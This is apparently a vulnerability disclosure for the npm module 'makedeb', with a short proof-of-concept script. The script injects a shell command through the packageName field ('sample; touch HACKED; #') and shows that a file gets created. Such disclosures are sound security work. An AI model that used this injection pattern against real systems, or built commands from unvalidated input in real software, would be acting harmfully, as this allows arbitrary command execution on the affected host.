The makedeb
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
// poc.js
var makedeb = require('makedeb');
makedeb({ packageName: 'sample; touch HACKED; #', version: '1.2.3', 'buildDir':'.', 'installPath':process.cwd()});
HACKED
npm i makedeb # Install affected module
node poc.js # Run the PoC
HACKED
has been created